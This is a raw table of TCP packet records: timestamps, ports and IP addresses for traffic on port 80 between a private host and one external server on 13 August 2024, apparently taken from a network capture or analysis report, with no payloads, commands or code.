Aug 13, 2024 10:21:12.628001928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628052950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.628104925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628119946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628144979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.628176928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.628422022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628437996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628452063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628469944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.628485918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.628715992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628776073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.628865004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.628921032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.629023075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.629039049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.629054070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.629067898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.629081011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.629098892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.629420042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.629436016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.629448891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.629473925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.629487991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.635584116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.635636091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.635669947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.635684967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.635710955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.635737896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.636010885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.636025906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.636039972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.636050940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.636073112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.636090994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637439013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637454033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637468100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637487888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637494087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637527943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637531996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637557030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637572050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637574911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637587070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637598038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637602091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637613058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637617111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637633085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637644053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637646914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637662888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637672901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637679100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637686014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637695074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637710094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.637718916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.637744904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.638422966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638437033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638451099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638464928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638477087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.638478994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638489962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.638497114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638510942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638520956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.638525009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.638534069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.638565063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.641690969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.641736984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.641761065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.641794920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.641808987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.641834974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642040014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642072916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642092943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642102957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642105103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642138958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642146111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642183065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642370939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642391920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642407894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642415047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642424107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642437935 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642446041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642476082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642877102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642893076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642908096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642923117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642925024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642939091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642946005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642956018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642971039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642976046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.642987013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.642991066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.643014908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.643028021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.643791914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.643806934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.643821955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.643832922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.643836975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.643852949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.643855095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.643867970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.643873930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.643896103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.643918037 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644310951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644325972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644341946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644354105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644365072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644382954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644711018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644732952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644747019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644747972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644762039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644771099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644778967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644778967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644793987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644798040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644809961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644819975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644825935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644828081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644843102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.644856930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.644876003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.645651102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645665884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645680904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645694971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645700932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.645710945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645718098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.645725965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645740986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645754099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.645755053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645766973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.645770073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645786047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.645793915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.645817041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.646600962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646615982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646631002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646647930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646647930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.646657944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.646663904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646667957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.646680117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646694899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646699905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.646711111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.646718979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.646739006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.646768093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.701750040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.701802969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.701833010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.701867104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.701878071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.701910973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.702096939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.702114105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.702141047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.702152967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.702306986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.702322006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.702356100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.702367067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.708785057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.708831072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.708878040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.708892107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.708914995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.708925009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.709079027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.709094048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.709108114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.709124088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.709130049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.709144115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.709181070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.709537983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.709583998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.715773106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.715816975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.715879917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.715898037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.715922117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.715936899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716115952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716130018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716145039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716154099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716165066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716183901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716517925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716557980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716645002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716659069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716672897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716687918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716696024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716703892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716708899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716721058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.716742039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.716761112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.717309952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.717325926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.717366934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.723161936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.723213911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.723244905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.723263025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.723282099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.723294973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.723555088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.723571062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.723584890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.723594904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.723602057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.723608017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.723627090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.723639965 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724081039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724097013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724112034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724124908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724133015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724153042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724195004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724544048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724559069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724575043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724586964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724590063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724595070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724606037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724615097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724622011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.724633932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724647999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.724661112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725446939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725461960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725476980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725491047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725491047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725501060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725507975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725519896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725522995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725534916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725538015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725550890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725555897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.725559950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725574970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.725594044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.726300001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.726315022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.726330042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.726342916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.726345062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.726357937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.726366997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.726387978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.740539074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.740580082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.740583897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.740595102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.740617990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.740637064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.740833044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.740879059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741000891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741015911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741030931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741044998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741044998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741070986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741102934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741570950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741585970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741600037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741612911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741616011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741622925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741631985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741641998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741647005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.741653919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741672993 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.741687059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.742502928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.742518902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.742533922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.742547989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.742552042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.742563009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.742564917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.742578983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.742594004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.742608070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.742623091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.742647886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.743391991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.743408918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.743422985 CEST	80	49711	193.142.147.59	192.168.2.6
